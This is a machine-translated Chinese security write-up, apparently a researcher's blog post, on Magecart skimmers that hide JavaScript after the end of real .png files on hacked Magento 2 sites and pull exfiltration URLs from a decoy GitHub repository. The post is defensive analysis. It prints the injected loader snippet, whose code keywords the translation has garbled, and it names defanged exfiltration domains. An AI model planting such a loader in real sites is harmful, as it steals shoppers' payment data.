MalwareBytes 最近共享了一些有关网络撇取者的信息,这些撇取者将恶意代码存储在真实的.ico文件中。
在例行调查中,我们发现了类似的问题。但是,攻击者没有选择针对.ico文件,而是选择将内容注入真实的.png文件中-既在受感染的站点上,又在GitHub上的诱饵诱捕的Magento回购中。
Googletagmanager.png
我们的安全分析师Keith Petkus在受感染的Magento 2.x网站上发现了这种恶意软件。
<脚本> 。。。我(); 异步函数 i () { 让 x92 =等待提取(' /pub/media/wysiwyg/m2themes/googletagmanager.png ' ); 如果 ( X92 。 OK ) { 让 X = AWAIT X92 。文字(); VAR ˚F = 新功能( X 。切片(- 34905 )); 返回( F ()); } } < /脚本>
该代码被附加到真实的Google跟踪代码管理器代码中,因此乍一看对googletagmanager.png的引用可能不会引起怀疑。而且,它是来自同一站点的有效.png图像。
JavaScript Inside .png
但是,该代码对于Google跟踪代码管理器而言并不常见。如果仔细检查,您会注意到它加载了图像文件的内容,然后将其一部分(x.slice(-34905))作为JavaScript函数执行。
如果我们检查googletagmanager.png的内容,则它似乎是一个常规的.png二进制文件,包括正确的PNG文件签名和大块标记,例如IHDR和IEND。
但是,在最后一个块(IEND)结束之后,我们可以看到JavaScript代码。图像查看器将忽略此代码,但是如果您使用.png文件,就好像它是常规文本文件一样,您可以访问它。在我们的案例中,恶意软件提取了文件的最后34905字节。
撇渣器代码
进行模糊处理后,将显示一个典型的Magecart分离器代码,其中包含一些修改,这些修改会阻止他人立即看到渗透门。
以下代码负责计算门的URL。
我们在这里看到的是恶意软件,它试图从GitHub存储库(hxxps://raw.githubusercontent [。] com / mag202 / magento / master / pub / media / downloadable / mage.png)中加载mage.png文件,然后对其内容的大块进行一些操作。
Mag202 / Magento GitHub存储库
确实,在https://github.com/mag202/magento上,我们找到了由mag202用户在2020年4月4日创建的Magento 2.4 Beta版本的存储库。
毫不奇怪,我们在存储库中找到了可疑的 magento / pub / media / downloadable / mage.png文件。
Exfil URL隐藏在mage.png中
在官方的Magento存储库中进行的快速查找显示该目录不应包含此 mage.png文件。实际上,它根本没有任何图像文件。
检查此文件的原始内容时,我们在IEND签名后的最底部找到了此加密文本。
由于我们拥有解密它的实际JavaScript代码,因此我们检索了此渗透门URL:“ hxxps:// fontsgoogle-apis [。] com / v14 / ”。
提交历史
版本控制系统的一个很酷的功能是,它们可以跟踪所有存储库的修改。这mag202 / Magento的 GitHub上的仓库也有一个公共的提交历史。
提交历史记录基本上由恶意mage.png文件的一系列上载和删除组成。黑客修改了这些文件中附加的恶意代码,并在pub / media / downloadable / mage.png或app / design / frontend / Magento / luma / media / mage.png中上传了新版本。
这些文件的所有历史版本也可以在GitHub上获得。例如,从4月10日开始的magento / app / design / frontend / Magento / luma / media / mage.png版本包含以下代码。
在这一点上,它是真正的JavaScript代码,而不只是加密的文本。但是,这段代码的目的是相同的-隐藏渗透细节,并允许攻击者在方便时通过GitHub更新它。
执行后,我们获得渗透URL:
hxxps:// googletag-manager [。] com / gtag / GTM-P75S9 /
这是在类似的撇渣器恶意软件加载的图像中找到的相同URL 。
- 2019年11月4日:googletag-manager [。] com已注册。
- 2020年5月2日:注册fontsgoogle-apis [。] com(由最新版本的恶意软件使用)。它托管在IP 8.209.99.41的服务器上。
该服务器还托管即将于2019年7月23日注册的即将到期的域gstatlcs [。] com。
结论
网络收录机运营商一直在积极寻找新方法,以防止在受到感染的网站上检测到其恶意软件。
这次,我们发现它们结合了四个流行的技巧来隐藏其恶意代码:
- 包括对通常是良性的静态内容(例如样式表或图像)的请求,这些内容通常在流量监控或静态文件分析中较少受到审查。(1,2)
- 在真实图像中植入恶意代码。(1,2,3)
- 在流行的合法网站(例如GitHub)上托管恶意文件。(1,2,3)。
- 使用误导性的变量名,文件名和域使人们相信它们属于著名的流行服务(在本例中为Google跟踪代码管理器)。(1,2)。
尽管此方法可能使第三方研究人员更难发现恶意软件,但实施完整性控制检查或网站监视服务的网站管理员应该能够检测到系统中添加的新文件或现有文件中的更改。